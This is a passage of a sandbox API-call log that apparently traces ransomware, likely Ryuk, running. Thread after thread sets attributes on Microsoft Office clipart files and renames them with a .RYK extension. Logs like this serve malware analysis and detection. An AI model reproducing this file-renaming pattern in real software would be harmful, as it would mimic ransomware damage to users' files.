	[0270.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.090] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3465
	os_tid = 0x3b14

	[0270.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG", dwFileAttributes=0x80) returned 0
	[0270.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.092] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3466
	os_tid = 0x3b18

	[0270.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG", dwFileAttributes=0x80) returned 0
	[0270.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3467
	os_tid = 0x3b1c

	[0270.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG", dwFileAttributes=0x80) returned 0
	[0270.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.094] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3468
	os_tid = 0x3b20

	[0270.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF", dwFileAttributes=0x80) returned 0
	[0270.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3469
	os_tid = 0x3b24

	[0270.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF", dwFileAttributes=0x80) returned 0
	[0270.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3470
	os_tid = 0x3b28

	[0270.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF", dwFileAttributes=0x80) returned 0
	[0270.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.101] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3471
	os_tid = 0x3b2c

	[0270.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF", dwFileAttributes=0x80) returned 0
	[0270.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3472
	os_tid = 0x3b30

	[0270.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF", dwFileAttributes=0x80) returned 0
	[0270.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3473
	os_tid = 0x3b34

	[0270.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF", dwFileAttributes=0x80) returned 0
	[0270.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3474
	os_tid = 0x3b38

	[0270.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF", dwFileAttributes=0x80) returned 0
	[0270.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3475
	os_tid = 0x3b3c

	[0270.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF", dwFileAttributes=0x80) returned 0
	[0270.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3476
	os_tid = 0x3b40

	[0270.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID", dwFileAttributes=0x80) returned 0
	[0270.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3477
	os_tid = 0x3b44

	[0270.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID", dwFileAttributes=0x80) returned 0
	[0270.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3480
	os_tid = 0x3b5c

	[0275.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID", dwFileAttributes=0x80) returned 0
	[0275.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.607] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3481
	os_tid = 0x3b60

	[0275.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID", dwFileAttributes=0x80) returned 0
	[0275.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3482
	os_tid = 0x3b64

	[0275.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF", dwFileAttributes=0x80) returned 0
	[0275.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3483
	os_tid = 0x3b68

	[0275.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF", dwFileAttributes=0x80) returned 0
	[0275.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3484
	os_tid = 0x3b6c

	[0275.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF", dwFileAttributes=0x80) returned 0
	[0275.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3485
	os_tid = 0x3b70

	[0275.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF", dwFileAttributes=0x80) returned 0
	[0275.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.608] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3486
	os_tid = 0x3b74

	[0275.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF", dwFileAttributes=0x80) returned 0
	[0275.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.609] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3487
	os_tid = 0x3b78

	[0275.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF", dwFileAttributes=0x80) returned 0
	[0275.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.610] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3488
	os_tid = 0x3b7c

	[0275.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF", dwFileAttributes=0x80) returned 0
	[0275.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.611] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3489
	os_tid = 0x3b80

	[0275.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF", dwFileAttributes=0x80) returned 0
	[0275.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.613] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3490
	os_tid = 0x3b84

	[0275.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF", dwFileAttributes=0x80) returned 0
	[0275.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.613] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3491
	os_tid = 0x3b88

	[0276.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF", dwFileAttributes=0x80) returned 0
	[0276.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.491] CloseHandle (hObject=0xffffffffffffffff) returned 0
